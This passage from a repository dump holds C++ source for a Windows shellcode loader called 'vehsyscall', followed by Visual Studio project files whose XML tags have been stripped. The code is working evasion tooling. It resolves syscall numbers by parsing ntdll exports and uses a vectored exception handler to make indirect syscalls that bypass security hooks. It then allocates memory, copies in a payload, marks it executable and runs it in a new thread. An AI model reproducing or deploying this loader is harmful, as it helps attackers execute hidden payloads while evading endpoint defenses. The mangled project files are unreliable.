DWORD ulOldProtect; 88 | 89 | //exec NtAllocateVirtualMemory 90 | NtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL; 91 | t = GetSSN("ZwAllocateVirtualMemory"); 92 | pNtAllocateVirtualMemory((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); 93 | 94 | //write your code 95 | VxMoveMemory(lpAddress, rawData, sizeof(rawData)); 96 | 97 | //exec NtProtectVirtualMemory 98 | NtProtectVirtualMemory pNtProtectVirtualMemory = NULL; 99 | t = GetSSN("ZwProtectVirtualMemory"); 100 | pNtProtectVirtualMemory((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect); 101 | 102 | 103 | //exec NtCreateThreadEx 104 | pNtCreateThreadEx NtCreateThreadEx = NULL; 105 | t = GetSSN("ZwCreateThreadEx"); 106 | NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, 0, 0, 0, NULL); 107 | WaitForSingleObject(hThread, INFINITE); 108 | return 0; 109 | } 110 | //find function order 111 | void savemap() 112 | { 113 | PBYTE ImageBase; 114 | PIMAGE_DOS_HEADER Dos = NULL; 115 | PIMAGE_NT_HEADERS Nt = NULL; 116 | PIMAGE_FILE_HEADER File = NULL; 117 | PIMAGE_OPTIONAL_HEADER Optional = NULL; 118 | PIMAGE_EXPORT_DIRECTORY ExportTable = NULL; 119 | 120 | PPEB Peb = (PPEB)__readgsqword(0x60); 121 | PLDR_MODULE pLoadModule; 122 | int num = 0; 123 | pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); 124 | ImageBase = (PBYTE)pLoadModule->BaseAddress; 125 | 126 | Dos = (PIMAGE_DOS_HEADER)ImageBase; 127 | if (Dos->e_magic != IMAGE_DOS_SIGNATURE) 128 | return; 129 | Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew); 130 | File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD))); 131 | Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER)); 132 | ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress); 133 | PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions)); 134 | PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames); 135 | PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals); 136 | for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++) 137 | { 138 | PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]); 139 | PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; 140 | if (strncmp((char*)pczFunctionName, "Zw", 2) == 0) { 141 | Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName; 142 | } 143 | } 144 | } 145 | int GetSSN(std::string apiname) 146 | { 147 | int index = 0; 148 | for (std::map::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) 149 | { 150 | if (apiname == iter->second) 151 | return index; 152 | index++; 153 | } 154 | } 155 | 156 | PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) { 157 | char* d = (char*)dest; 158 | const char* s = (char*)src; 159 | while (len--) 160 | *d++ = *s++; 161 | return dest; 162 | } 163 | //VEH function 164 | LONG WINAPI VectExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) { 165 | // handle EXCEPTION_ACCESS_VIOLATION 166 | if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) { 167 | // Construct syscall stub 168 | 169 | pExceptionInfo->ContextRecord->R10 = pExceptionInfo->ContextRecord->Rcx; // mov r10,rcx 170 | hello(); 171 | pExceptionInfo->ContextRecord->Rax = t; //mov rax,xxx 172 | hello(); 173 | pExceptionInfo->ContextRecord->Rip = (DWORD64)((DWORD64)m_Index + 0x12); // syscall 174 | hello(); 175 | return EXCEPTION_CONTINUE_EXECUTION; // cintinue your code 176 | } 177 | return EXCEPTION_CONTINUE_SEARCH; //find othner function to handle VEH 178 | } -------------------------------------------------------------------------------- /vehsyscall/vehsyscall.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {23d3e858-93d2-4de9-8cb9-7982273f04e8} 25 | vehsyscall 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | false 76 | false 77 | 78 | 79 | 80 | Level3 81 | true 82 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 83 | true 84 | 85 | 86 | Console 87 | true 88 | 89 | 90 | 91 | 92 | Level3 93 | true 94 | true 95 | true 96 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 97 | true 98 | 99 | 100 | Console 101 | true 102 | true 103 | true 104 | 105 | 106 | 107 | 108 | Level3 109 | true 110 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 111 | true 112 | 113 | 114 | Console 115 | true 116 | 117 | 118 | 119 | 120 | Level3 121 | true 122 | false 123 | true 124 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 125 | true 126 | Disabled 127 | false 128 | MultiThreadedDebug 129 | 130 | 131 | Console 132 | true 133 | true 134 | false 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | false 143 | Document 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | -------------------------------------------------------------------------------- /vehsyscall/vehsyscall.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 23 | 24 | 头文件 25 | 26 | 27 | 28 | 29 | 源文件 30 | 31 | 32 | -------------------------------------------------------------------------------- /vehsyscall/vehsyscall.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | --------------------------------------------------------------------------------